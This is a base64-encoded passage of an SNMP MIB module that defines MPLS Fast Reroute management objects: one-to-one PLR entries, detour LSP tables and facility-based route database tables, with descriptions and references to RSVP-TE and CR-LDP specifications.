UGxyU2VuZGVyQWRkciAgICAgSW5ldEFkZHJlc3MsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQ
bHJBdm9pZE5BZGRyVHlwZSBJbmV0QWRkcmVzc1R5cGUsDQogICAgICAgICAgbXBsc0Zyck9uZTJP
bmVQbHJBdm9pZE5BZGRyICAgICBJbmV0QWRkcmVzcw0KICAgIH0NCg0KICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuSWR4IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVs
SW5kZXgNCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVT
ICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBp
ZGVudGlmaWVzIGEgdHVubmVsIGJldHdlZW4gYSBwYWlyIG9mIExTUnMNCiAgICAgICAgICBmcm9t
IHRoZSBtcGxzVHVubmVsRW50cnkuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50
cnkgMSB9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QgT0JKRUNULVRZUEUN
CiAgICAgICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbnN0YW5jZUluZGV4DQogICAgICAgTUFY
LUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhIGRldG91
ciBpbnN0YW5jZSBvZiBhIHR1bm5lbCBmcm9tDQogICAgICAgICAgdGhlIG1wbHNUdW5uZWxFbnRy
eS4NCg0KICAgICAgICAgLSBsb3dlciAxNiBiaXRzIDogcHJvdGVjdGVkIHR1bm5lbCBpbnN0YW5j
ZQ0KICAgICAgICAgLSBoaWdoZXIgMTYgYml0czogZGV0b3VyIGluc3RhbmNlIg0KICAgICAgIDo6
PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBsclR1
bkluZ3JMU1JJZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc0xzcklkZW50
aWZpZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVT
ICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGUgcHVycG9z
ZSBvZiB0aGlzIG9iamVjdCBpcyB0byB1bmlxdWVseSBpZGVudGl0eSBhDQogICAgICAgICAgIHR1
bm5lbCB3aXRoaW4gYSBuZXR3b3JrLiBXaGVuIHRoZSBNUExTIHNpZ25hbGxpbmcNCiAgICAgICAg
ICAgcHJvdG9jb2wgaXMgcnN2cCgyKSB0aGlzIHZhbHVlIFNIT1VMRCBtaW1pYyB0aGUNCiAgICAg
ICAgICAgRXh0ZW5kZWQgVHVubmVsIElkIGZpZWxkIGluIHRoZSBTRVNTSU9OIG9iamVjdC4NCiAg
ICAgICAgICAgV2hlbiB0aGUgTVBMUyBzaWduYWxsaW5nIHByb3RvY29sIGlzIGNybGRwKDMpIHRo
aXMNCiAgICAgICAgICAgdmFsdWUgU0hPVUxEIG1pbWljIHRoZSBJbmdyZXNzIExTUiBSb3V0ZXIg
SUQgZmllbGQNCiAgICAgICAgICAgaW4gdGhlIExTUElEIFRMViBvYmplY3QuIg0KICAgICAgIFJF
RkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQ
IFR1bm5lbHMsDQogICAgICAgICAgIEF3ZHVjaGUgZXQgYWwsIFJGQyAzMjA5LCBEZWNlbWJlciAy
MDAxDQogICAgICAgICAgMi4gQ29uc3RyYWludC1CYXNlZCBMU1AgU2V0dXAgdXNpbmcgTERQLCBK
YW1vdXNzaQ0KICAgICAgICAgICAoRWRpdG9yKSwgUkZDIDMyMTIsIEphbnVhcnkgMjAwMiINCiAg
ICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDMgfQ0KDQogICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuRWdyTFNSSWQgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNM
c3JJZGVudGlmaWVyDQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAg
IFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiU3Bl
Y2lmaWVzIHRoZSBlZ3Jlc3MgTFNSIElELiINCiAgICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBs
ckVudHJ5IDQgfQ0KDQoNCiAgICBtcGxzRnJyT25lMk9uZVBscklkIE9CSkVDVC1UWVBFDQogICAg
ICAgU1lOVEFYICAgICAgICBNcGxzTHNySWRlbnRpZmllcg0KICAgICAgIE1BWC1BQ0NFU1MgICAg
bm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVND
UklQVElPTg0KICAgICAgICAgIlRoaXMgdmFsdWUgcmVwcmVzZW50cyB0aGUgUExSIHRoYXQgaGFz
IGluaXRpYXRlZCBhIGRldG91ciBMU1ANCiAgICAgICAgIHRvIHByb3RlY3QgYSB0dW5uZWwgaW5z
dGFuY2UuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgNSB9DQoNCiAgICBt
cGxzRnJyT25lMk9uZVBsclNlbmRlckFkZHJUeXBlIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFY
ICAgICAgICBJbmV0QWRkcmVzc1R5cGUNCiAgICAgICBNQVgtQUNDRVNTICAgIHJlYWQtY3JlYXRl
DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICJEZW5vdGVzIHRoZSBhZGRyZXNzIHR5cGUgb2YgdGhpcyBkZXRvdXIgaW5zdGFuY2UncyBz
ZW5kZXINCiAgICAgICAgIGFkZHJlc3MuIg0KICAgICAgIERFRlZBTCAgICAgICAgeyBpcHY0IH0N
CiAgICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDYgfQ0KDQogICAgbXBsc0Zyck9u
ZTJPbmVQbHJTZW5kZXJBZGRyIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJbmV0
QWRkcmVzcw0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMg
ICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIklmIG1wbHNGcnJP
bmUyT25lUGxyU2VuZGVyQWRkclR5cGUgaXMgc2V0IHRvIGlwdjQoMSksIHRoZW4gdGhpcyB2YWx1
ZQ0KICAgICAgICAgd2lsbCBjb250YWluIHRoZSBJUHY0IGFkZHJlc3Mgb2YgdGhpcyBkZXRvdXIg
aW5zdGFuY2UncyBzZW5kZXIuDQogICAgICAgICBUaGlzIG9iamVjdCBpcyBvdGhlcndpc2UgaW5z
aWduaWZpY2FudCBhbmQgc2hvdWxkIGNvbnRhaW4gYQ0KICAgICAgICAgdmFsdWUgb2YgMC4iDQog
ICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQbHJFbnRyeSA3IH0NCg0KICAgIG1wbHNGcnJPbmUy
T25lUGxyQXZvaWROQWRkclR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElu
ZXRBZGRyZXNzVHlwZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RB
VFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJEZW5vdGVz
IHRoZSBhZGRyZXNzIHR5cGUgb2YgdGhlIG5vZGUgdGhhdCB0aGlzIFBMUiB0cmllcyB0bw0KICAg
ICAgICAgYXZvaWQuIg0KICAgICAgIERFRlZBTCAgICAgICAgeyBpcHY0IH0NCiAgICAgICA6Oj0g
eyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDggfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQbHJBdm9p
ZE5BZGRyIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJbmV0QWRkcmVzcw0KICAg
ICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJZiBtcGxzRnJyT25lMk9uZVBsckF2b2lk
TkFkZHJUeXBlIGlzIHNldCB0byBpcHY0KDEpLCB0aGVuIHRoaXMNCiAgICAgICAgIHZhbHVlIHdp
bGwgY29udGFpbiB0aGUgSVB2NCBhZGRyZXNzIG9mIHRoZSBhdm9pZCBub2RlLiBUaGlzDQogICAg
ICAgICBvYmplY3QgaXMgb3RoZXJ3aXNlIGluc2lnbmlmaWNhbnQgYW5kIHNob3VsZCBjb250YWlu
IGEgdmFsdWUgb2YNCiAgICAgICAgIDAuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxy
RW50cnkgOSB9DQoNCiAgICAtLSBNUExTIE9uZS1Uby1PbmUgRmFzdCBSZXJvdXRlIERldG91ciB0
YWJsZS4NCg0KICAgIG1wbHNGcnJEZXRvdXJUYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRB
WCAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckRldG91ckVudHJ5DQogICAgICAgTUFYLUFDQ0VT
UyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJsZSBzaG93cyBkZXRvdXIgTFNQcy4iDQog
ICAgICAgOjo9IHsgbXBsc0ZycjF0bzFPYmplY3RzIDIgfQ0KDQogICAgbXBsc0ZyckRldG91ckVu
dHJ5IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzRnJyRGV0b3VyRW50cnkN
CiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBbiBlbnRyeSBpbiB0aGlz
IHRhYmxlIHJlcHJlc2VudHMgYSBkZXRvdXIuIEFuIGVudHJ5IGluIHRoaXMNCiAgICAgICAgIHRh
YmxlIGlzIG9ubHkgY3JlYXRlZCBieSBhbiBTTk1QIGFnZW50IGFzIGluc3RydWN0ZWQgYnkgYW4g
TVBMUw0KICAgICAgICAgc2lnbmFsaW5nIHByb3RvY29sLiAiDQogICAgICAgSU5ERVggew0KICAg
ICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5JZHgsICAgICAgICAtLSBmcm9tIE1QTFMt
VEUgTUlCDQogICAgICAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QsIC0t
IG1wbHNUdW5uZWxUYWJsZQ0KICAgICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5Jbmdy
TFNSSWQsICAtLSBUdW5uZWxzIG11c3QgZXhpc3QNCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuRWdyTFNSSWQsICAgLS0gYSBwcmlvcmkNCiAgICAgICAgICB9DQogICAgICAgOjo9
IHsgbXBsc0ZyckRldG91clRhYmxlIDEgfQ0KDQogICAgTXBsc0ZyckRldG91ckVudHJ5IDo6PSBT
RVFVRU5DRSB7DQogICAgICAgICAgbXBsc0ZyckRldG91ckFjdGl2ZSAgICAgICAgICAgICBUcnV0
aFZhbHVlLA0KICAgICAgICAgIG1wbHNGcnJEZXRvdXJNZXJnaW5nICAgICAgICAgICAgSU5URUdF
UiwNCiAgICAgICAgICBtcGxzRnJyRGV0b3VyTWVyZ2VkRGV0b3VySW5zdCAgIE1wbHNUdW5uZWxJ
bnN0YW5jZUluZGV4DQogICAgfQ0KDQogICAgbXBsc0ZyckRldG91ckFjdGl2ZSBPQkpFQ1QtVFlQ
RQ0KICAgICAgIFNZTlRBWCAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAg
cmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJJbmRpY2F0ZXMgd2hldGhlciBvciBub3QgdGhlIG1haW4gTFNQIGhhcyBz
d2l0Y2hlZCBvdmVyIHRvIHRoaXMNCiAgICAgICAgIGRldG91ciBMU1AuIFRoaXMgaXMgb25seSBy
ZWxldmFudCBmb3IgZGV0b3VycyBvcmlnaW5hdGVkIGJ5DQogICAgICAgICB0aGlzIG5vZGUuIg0K
ICAgICAgIDo6PSB7IG1wbHNGcnJEZXRvdXJFbnRyeSAxIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJN
ZXJnaW5nIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJTlRFR0VSIHsgbm9uZSgw
KSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcm90ZWN0ZWRUdW5uZWwoMSksDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGV0b3VyKDIpDQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICBNQVgtQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNU
QVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB2
YWx1ZSByZXByZXNlbnRzIHdoZXRoZXIgb3Igbm90IHRoaXMgZGV0b3VyIGlzIG1lcmdlZC4NCiAg
ICAgICAgIFRoaXMgdmFsdWUgTVVTVCBiZSBzZXQgdG8gbm9uZSgwKSBpZiB0aGlzIGRldG91ciBp
cyBub3QgbWVyZ2VkLg0KICAgICAgICAgVGhpcyB2YWx1ZSBNVVNUIGJlIHNldCB0byBwcm90ZWN0
ZWRUdW5uZWwoMSkgaWYgdGhpcyBkZXRvdXIgaXMNCiAgICAgICAgIG1lcmdlZCB3aXRoIHRoZSBw
cm90ZWN0ZWQgdHVubmVsLiBUaGlzIHZhbHVlIE1VU1QgYmUgc2V0IHRvDQogICAgICAgICBkZXRv
dXIoMikgaWYgdGhpcyBkZXRvdXIgaXMgbWVyZ2VkIHdpdGggYW5vdGhlciBkZXRvdXINCiAgICAg
ICAgIHByb3RlY3RpbmcgdGhlIHNhbWUgdHVubmVsLiINCiAgICAgICA6Oj0geyBtcGxzRnJyRGV0
b3VyRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyRGV0b3VyTWVyZ2VkRGV0b3VySW5zdCBPQkpFQ1Qt
VFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAgICAg
ICBNQVgtQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB2YWx1ZSByZXByZXNlbnRzIHRoZSBp
bnN0YW5jZSBvZiB0aGUgZGV0b3VyIHdpdGggd2hpY2gNCiAgICAgICAgIHRoaXMgZGV0b3VyIGlz
IG1lcmdlZC4gVGhpcyBvYmplY3QgaXMgb25seSB2YWxpZCB3aGVuDQogICAgICAgICBtcGxzRnJy
RGV0b3VyTWVyZ2luZyBpcyBzZXQgdG8gZGV0b3VyKDIpLg0KDQogICAgICAgICAtIGxvd2VyIDE2
IGJpdHMgOiBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQogICAgICAgICAtIGhpZ2hlciAxNiBi
aXRzOiBkZXRvdXIgaW5zdGFuY2UiDQogICAgICAgOjo9IHsgbXBsc0ZyckRldG91ckVudHJ5IDMg
fQ0KDQogICAgLS0NCiAgICAtLSBGYWNpbGl0eS1iYXNlZCBGUlItc3BlY2lmaWMgVGFibGVzDQog
ICAgLS0NCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCVGFibGUgT0JKRUNULVRZUEUNCiAgICAgICAg
U1lOVEFYICAgICAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckZhY1JvdXRlREJFbnRyeQ0KICAg
ICAgICBNQVgtQUNDRVNTICAgICAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAg
ICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhlIG1w
bHNGcnJEQlRhYmxlIHByb3ZpZGVzIGluZm9ybWF0aW9uIGFib3V0IHRoZSBmYXN0DQogICAgICAg
ICAgICByZXJvdXRlIGRhdGFiYXNlLiAgRWFjaCBlbnRyeSBiZWxvbmdzIHRvIGFuIGludGVyZmFj
ZSwNCiAgICAgICAgICAgIHByb3RlY3RpbmcgYmFja3VwIHR1bm5lbCBhbmQgcHJvdGVjdGVkIHR1
bm5lbC4gTVBMUw0KICAgICAgICAgICAgaW50ZXJmYWNlcyBkZWZpbmVkIG9uIHRoaXMgbm9kZSBh
cmUgcHJvdGVjdGVkIGJ5IGJhY2t1cA0KICAgICAgICAgICAgdHVubmVscyBhbmQgYXJlIGluZGV4
ZWQgYnkgbXBsc0ludGVyZmFjZUNvbmZJbmRleC4gQmFja3VwDQogICAgICAgICAgICB0dW5uZWxz
IGRlZmluZWQgdG8gcHJvdGVjdCB0aGUgdHVubmVscyB0cmF2ZXJzaW5nIGFuDQogICAgICAgICAg
ICBpbnRlcmZhY2UsIGFuZCBhcmUgaW5kZXhlZCBieSBtcGxzVHVubmVsSW5kZXguIE5vdGUgdGhh
dCB0aGUNCiAgICAgICAgICAgIHR1bm5lbCBpbnN0YW5jZSBpbmRleCBpcyBub3QgcmVxdWlyZWQs
IHNpbmNlIGl0IGlzIGltcGxpZWQNCiAgICAgICAgICAgIHRvIGJlIDAsIHdoaWNoIGluZGljYXRl
cyB0aGUgdHVubmVsIGhlYWQgaW50ZXJmYWNlIGZvciB0aGUNCiAgICAgICAgICAgIHByb3RlY3Rp
bmcgdHVubmVsLiBUaGUgcHJvdGVjdGluZyB0dW5uZWwgaXMgZGVmaW5lZCB0byBleGlzdA0KICAg
ICAgICAgICAgb24gdGhlIFBMUiBpbiB0aGUgRlJSIHNwZWNpZmljYXRpb24uICBQcm90ZWN0ZWQg
dHVubmVscyBhcmUNCiAgICAgICAgICAgIHRoZSBMU1BzIHRoYXQgdHJhdmVyc2UgdGhlIHByb3Rl
Y3RlZCBsaW5rLiAgVGhlc2UgTFNQcyBhcmUNCiAgICAgICAgICAgIHVuaXF1ZWx5IGlkZW50aWZp
ZWQgYnkgbXBsc1R1bm5lbEluZGV4LCBtcGxzVHVubmVsSW5zdGFuY2UsDQogICAgICAgICAgICBt
cGxzVHVubmVsSW5ncmVzc0xTUklkLCBhbmQgbXBsc1R1bm5lbEVncmVzc0xTUklkLiINCiAgICAg
ICAgUkVGRVJFTkNFDQogICAgICAgICAgICAiU3Jpbml2YW5zYW4sIEMuLCBhbmQgQS4gVmlzd2Fu
YXRoYW4sIFQuIE5hZGVhdSwgTVBMUyBUcmFmZmljDQogICAgICAgICAgICBFbmdpbmVlcmluZyBN
YW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2UgVXNpbmcgU01JdjIsDQogICAgICAgICAgICAgZHJh
ZnQtaWV0Zi1tcGxzLXRlLW1pYi0wNi50eHQgIg0KDQogICAgOjo9IHsgbXBsc0ZyckZhY09iamVj
dHMgMSB9DQoNCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCRW50cnkgT0JKRUNULVRZUEUNCiAgICAg
ICAgU1lOVEFYICAgICAgICAgICAgTXBsc0ZyckZhY1JvdXRlREJFbnRyeQ0KICAgICAgICBNQVgt
QUNDRVNTICAgICAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBj
dXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiQW4gZW50cnkgaW4gdGhl
IG1wbHNGcnJEQlRhYmxlIHJlcHJlc2VudHMgYSBzaW5nbGUgcHJvdGVjdGVkDQogICAgICAgICAg
ICBMU1AsIHByb3RlY3RlZCBieSBhIGJhY2t1cCB0dW5uZWwgYW5kIGRlZmluZWQgZm9yIGEgc3Bl
Y2lmaWMNCiAgICAgICAgICAgIHByb3RlY3RlZCBpbnRlcmZhY2UuIE5vdGUgdGhhdCBmb3IgYnJl
dml0eSwgbWFuYWdlcnMgc2hvdWxkDQogICAgICAgICAgICBjb25zdWx0IHRoZSBtcGxzVHVubmVs
VGFibGUgcHJlc2VudCBpbiB0aGUgTVBMUy1URSBNSUIgZm9yDQogICAgICAgICAgICBhZGRpdGlv
bmFsIGluZm9ybWF0aW9uIGFib3V0IHRoZSBwcm90ZWN0aW5nIGFuZCBwcm90ZWN0ZWQNCiAgICAg
ICAgICAgIHR1bm5lbHMsIGFuZCB0aGUgaWZFbnRyeSBpbiB0aGUgSUYtTUlCIGZvciB0aGUgcHJv
dGVjdGVkDQogICAgICAgICAgICBpbnRlcmZhY2UuIg0KICAgICAgICBSRUZFUkVOQ0UNCiAgICAg
ICAgICAgICJTcmluaXZhbnNhbiwgQy4sIGFuZCBBLiBWaXN3YW5hdGhhbiwgVC4gTmFkZWF1LCBN
UExTIExhYmVsDQogICAgICAgICAgICAgU3dpdGNoIFJvdXRlciBNYW5hZ2VtZW50IEluZm9ybWF0
aW9uIEJhc2UgVXNpbmcgU01JdjIsDQogICAgICAgICAgICAgZHJhZnQtaWV0Zi1tcGxzLWxzci1t
aWItMDcudHh0IFNyaW5pdmFuc2FuLCBDLiwgYW5kIEEuDQogICAgICAgICAgICAgVmlzd2FuYXRo
YW4sIFQuIE5hZGVhdSwgTVBMUyBUcmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQNCiAgICAg
ICAgICAgICBJbmZvcm1hdGlvbiBCYXNlIFVzaW5nIFNNSXYyLCBkcmFmdC1pZXRmLW1wbHMtdGUt
bWliLQ0KICAgICAgICAgICAgIDA2LnR4dC4iDQogICAgICAgIElOREVYIHsNCiAgICAgICAgICAg
ICAgICBtcGxzRnJyRmFjUm91dGVQcm90SWZJZHgsICAgICAgIC0tIGZyb20gTVBMUy1URSBNSUIN
CiAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVQcm90VHVuSWR4LCAgICAgIC0tIGZyb20g
TVBMUy1URSBNSUINCg0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBUdW5JZHgs
ICAgICAgLS0gZnJvbSBNUExTLVRFIE1JQg0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0
ZUJrdXBUdW5JbnN0LCAgICAgLS0gbXBsc1R1bm5lbFRhYmxlDQogICAgICAgICAgICAgICAgbXBs
c0ZyckZhY1JvdXRlQmt1cFR1bkluZ3JMU1JJZCwgLS0gVHVubmVscyBtdXN0IGV4aXN0DQogICAg
ICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVnckxTUklkIH0gIC0tIGEgcHJpb3Jp
DQogICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJUYWJsZSAxIH0NCg0KICAgIE1wbHNGcnJGYWNS
b3V0ZURCRW50cnkgOjo9IFNFUVVFTkNFIHsNCiAgICAgICAgbXBsc0ZyckZhY1JvdXRlUHJvdElm
SWR4ICAgICAgICAgIEludGVyZmFjZUluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91dGVQcm90
VHVuSWR4ICAgICAgICAgTXBsc1R1bm5lbEluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91dGVC
a3VwVHVuSWR4ICAgICAgICAgTXBsc1R1bm5lbEluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91
dGVCa3VwVHVuSW5zdCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgsDQogICAgICAgIG1w
bHNGcnJGYWNSb3V0ZUJrdXBUdW5JbmdyTFNSSWQgICBNcGxzTHNySWRlbnRpZmllciwNCiAgICAg
ICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVnckxTUklkICAgIE1wbHNMc3JJZGVudGlmaWVyLA0K
ICAgICAgICBtcGxzRnJyRmFjUm91dGVEQk51bVByb3RUdW5PbklmICAgR2F1Z2UzMiwNCiAgICAg
ICAgbXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuICAgICAgIEdhdWdlMzIsDQogICAgICAgIG1w
bHNGcnJGYWNSb3V0ZURCUHJvdFR1blN0YXR1cyAgICBJTlRFR0VSLA0KICAgICAgICBtcGxzRnJy
RmFjUm91dGVEQlByb3RUdW5SZXN2QncgICAgVW5zaWduZWQzMg0KICAgIH0NCg0KICAgIG1wbHNG
cnJGYWNSb3V0ZVByb3RJZklkeCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50
ZXJmYWNlSW5kZXgNCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAg
U1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlx
dWVseSBpZGVudGlmaWVzIHRoZSBpbnRlcmZhY2UgY29uZmlndXJlZCBmb3IgRlJSIHByb3RlY3Rp
b24uIg0KICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSAxIH0NCg0KICAgIG1wbHNG
cnJGYWNSb3V0ZVByb3RUdW5JZHggT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1w
bHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAg
ICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVu
aXF1ZWx5IGlkZW50aWZpZXMgdGhlIG1wbHNUdW5uZWxFbnRyeSBwcmltYXJ5IGluZGV4IGZvcg0K
ICAgICAgICAgIHRoZSB0dW5uZWwgaGVhZCBpbnRlcmZhY2UgZGVzaWduYXRlZCB0byBwcm90ZWN0
IHRoZQ0KICAgICAgICAgIGludGVyZmFjZSBhcyBzcGVjaWZpZWQgaW4gdGhlIG1wbHNGcnJGYWNS
b3V0ZUlmUHJvdElkeA0KICAgICAgICAgIChhbmQgYWxsIG9mIHRoZSB0dW5uZWxzIHVzaW5nIHRo
aXMgaW50ZXJmYWNlKS4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSAyIH0N
Cg0KICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBUdW5JZHggT0JKRUNULVRZUEUNCiAgICAgICBTWU5U
QVggICAgICAgIE1wbHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vz
c2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0K
ICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhbiBtcGxzVHVubmVsRW50cnkgdGhhdCBpcw0K
ICAgICAgICAgIGJlaW5nIHByb3RlY3RlZCBieSBGUlIuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJG
YWNSb3V0ZURCRW50cnkgMyB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVCa3VwVHVuSW5zdCBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAg
ICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVz
IGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAgICAgICAgYmVpbmcgcHJvdGVjdGVkIGJ5
IEZSUi4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSA0IH0NCg0KICAgIG1w
bHNGcnJGYWNSb3V0ZUJrdXBUdW5JbmdyTFNSSWQgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVgg
ICAgICAgIE1wbHNMc3JJZGVudGlmaWVyDQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNz
aWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQog
ICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhbiBtcGxzVHVubmVsRW50cnkgdGhhdCBpcw0K
ICAgICAgICAgIGJlaW5nIHByb3RlY3RlZCBieSBGUlIuIg0KICAgICAgIFJFRkVSRU5DRQ0KICAg
